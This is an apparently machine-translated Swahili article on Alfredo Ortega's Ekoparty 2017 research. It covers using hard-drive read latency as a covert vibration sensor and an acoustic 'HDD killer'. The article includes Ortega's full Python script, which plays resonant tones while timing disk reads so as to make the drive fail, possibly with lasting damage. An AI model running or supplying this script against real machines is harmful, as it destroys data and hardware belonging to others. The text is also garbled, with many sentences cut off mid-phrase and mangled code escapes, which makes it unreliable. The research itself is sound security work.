Katika mkutano wa usalama wa kompyuta wa Ekoparty 2017 huko Buenos Aires, mdukuzi wa Argentina Alfredo Ortega alionyesha maendeleo ya kuvutia sana - mfumo wa kugonga waya kwa siri ya majengo bila kutumia maikrofoni. Sauti
HDD hasa huchukua sauti za juu-frequency ya chini, nyayo na vibrations nyingine. Hotuba ya binadamu bado haiwezi kutambuliwa, ingawa wanasayansi
Sauti ni mtetemo wa hewa au kati nyingine. Mtu huwatambua kwa njia ya eardrum, ambayo hupeleka vibrations kwenye sikio la ndani. Maikrofoni imeundwa takriban kama sikio - hapa, pia, vibrations hurekodiwa na membrane nyembamba, ambayo inasisimua msukumo wa umeme. Gari ngumu, bila shaka, pia inakabiliwa na vibrations microscopic kutokana na kushuka kwa thamani katika hewa inayozunguka. Hii inajulikana hata kutokana na sifa za kiufundi za HDDs: wazalishaji kawaida huonyesha kiwango cha juu cha vibration kinachoruhusiwa, na gari ngumu yenyewe mara nyingi hujaribu kuiweka kwenye chombo kisicho na vibration kilichofanywa kwa mpira au nyenzo nyingine za kuhami. Kutoka hili ni rahisi kuhitimisha kwamba sauti zinaweza kurekodi kwa kutumia HDD. Kilichobaki ni kujua jinsi gani.
Alfredo Ortega alipendekeza toleo la kipekee la shambulio la njia ya kando, yaani shambulio la wakati. Shambulio hili linatokana na dhana kwamba utendakazi tofauti hufanywa kwenye kifaa kwa nyakati tofauti, kulingana na data ya ingizo iliyotolewa. Katika kesi hii, "data ya pembejeo" ni vibrations ya kichwa cha kusoma na sahani ya HDD, ambayo inahusiana na vibrations ya mazingira, yaani, kwa sauti. Hivyo, kwa kupima muda wa kukokotoa na kufanya uchambuzi wa takwimu wa data, mitetemo ya kichwa/sahani na hivyo mitetemo ya kati inaweza kupimwa. Kadiri muda unavyochelewa kusoma data, ndivyo mitetemo ya HDD inavyokuwa na nguvu na, kwa hivyo, sauti kubwa zaidi.
Jinsi ya kupima vibration ya gari ngumu? Rahisi sana: endesha simu ya mfumo read ()
- na kurekodi muda inachukua kukamilisha. Mifumo ya kisasa ya uendeshaji inakuwezesha kusoma muda wa simu za mfumo kwa usahihi wa nanosecond.
Kasi ya kusoma habari kutoka kwa sekta inategemea nafasi ya kichwa na sahani, ambayo inahusiana na vibrations ya kesi ya HDD. Ni hayo tu.
Uchambuzi wa takwimu unafanywa kwa kutumia matumizi rahisi ya Kscope. Kama wanasema, kila kitu cha busara ni rahisi.
Huduma ya Kscope (stat() syscall)
Kscope ni matumizi madogo ya kuibua tofauti ndogo katika nyakati za utekelezaji wa simu za mfumo. Chanzo
Katika hazina tofauti read ()
.
Maonyesho ya kurekodi sauti kwa kutumia HDD, uendeshaji wa matumizi ya Kscope
Kwa kweli, hotuba haiwezi kueleweka kwa njia hii, lakini HDD inafaa kabisa kama sensor ya vibration. Kwa mfano, unaweza kujiandikisha ikiwa mtu aliyevaa viatu ngumu au bila viatu aliingia kwenye chumba na kompyuta (labda, ikiwa mshambuliaji amevaa sneakers laini au kuna carpet nene kwenye sakafu, HDD haitaweza kusajili vibrations - hii inafaa kukaguliwa). Kompyuta ina uwezo wa kusajili glasi iliyovunjika au matukio mengine kwa nguvu ya sauti. Hiyo ni, gari ngumu inaweza kutumika kama aina ya mfumo wa kugundua intrusion bila ruhusa.
HDD killer
Kwa njia, mbinu kama hiyo inaweza kutumika kuzima anatoa ngumu. Hapa tu hatuondoi oscillations kutoka kwa HDD, lakini kinyume chake, tunazalisha oscillations ambayo hutolewa kwa HDD. Ikiwa unacheza sauti kutoka kwa spika kwa masafa ambayo yanahusiana na frequency ya HDD, mfumo huzima kifaa hivi karibuni na hitilafu ya I/O (kiini cha Linux huzima kabisa HDD baada ya sekunde 120). Hifadhi ngumu yenyewe inaweza kupata uharibifu usioweza kurekebishwa.
Kiini cha Linux kilizima kiendeshi kikuu baada ya sekunde 120 za kutoa sauti kwa masafa ya sauti kupitia kipaza sauti cha Edifier r19u USB. Spika imewashwa karibu robo ya nguvu (chini ya 100 mW) na iko 20 cm kutoka HDD, inayolenga meza ili kuimarisha vibrations. Frame kutoka
Inashangaza kwamba "mashambulizi" hayo kwenye HDD wakati mwingine hutokea kabisa kwa ajali katika maisha ya kila siku. Kwa mfano, mnamo Septemba 2016, kituo cha data cha ING Bank kililazimika kusimamisha shughuli kwa saa 10 baada ya kuchimba moto.
Maonyesho ya watu wanaopiga kelele kwenye diski kuu kwenye kituo cha data. Kipimo cha latency
Ili kutoa sauti inayosikika, Alfredo Ortega aliandika hati ya Python inayoitwa
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
Chanzo: mapenzi.com